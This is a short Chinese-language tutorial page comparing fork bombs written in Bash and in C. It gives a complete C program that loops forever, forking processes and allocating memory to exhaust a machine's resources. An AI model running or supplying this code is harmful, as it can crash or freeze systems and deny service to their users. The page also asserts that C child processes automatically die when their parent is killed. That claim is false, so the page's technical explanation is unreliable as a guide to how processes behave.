C 与 BASH C/C++ 中的 Fork bomb?

cc++server side programmingprogramming

已经清楚的是,BASH fork bomb 比其 C 程序版本强大得多。主要原因是在 BASH 中,创建的进程与父进程分离。如果父进程(我们最初启动的进程)被销毁或终止,则剩余或其余进程将继续存在。但在 C 实现的情况下,如果父进程被销毁或终止,列出的子进程将自动终止。脚本负责直接与系统通信。

C 中的 fork bomb 程序可以更新或修改。我们可以在创建 fork 进程时在程序中分配内存。

以下程序被视为修改后的 C fork bomb的实现 −

// 修改后的 fork bomb
#include <unistd.h>
#include <malloc.h>
int main(){
   // 无限循环
   while (1){
      // 生成子 fork 进程
      fork();
      // 在 RAM 中分配内存
      int *p1 = (int *) malloc (sizeof (int) * 100000);
   }
}

相关文章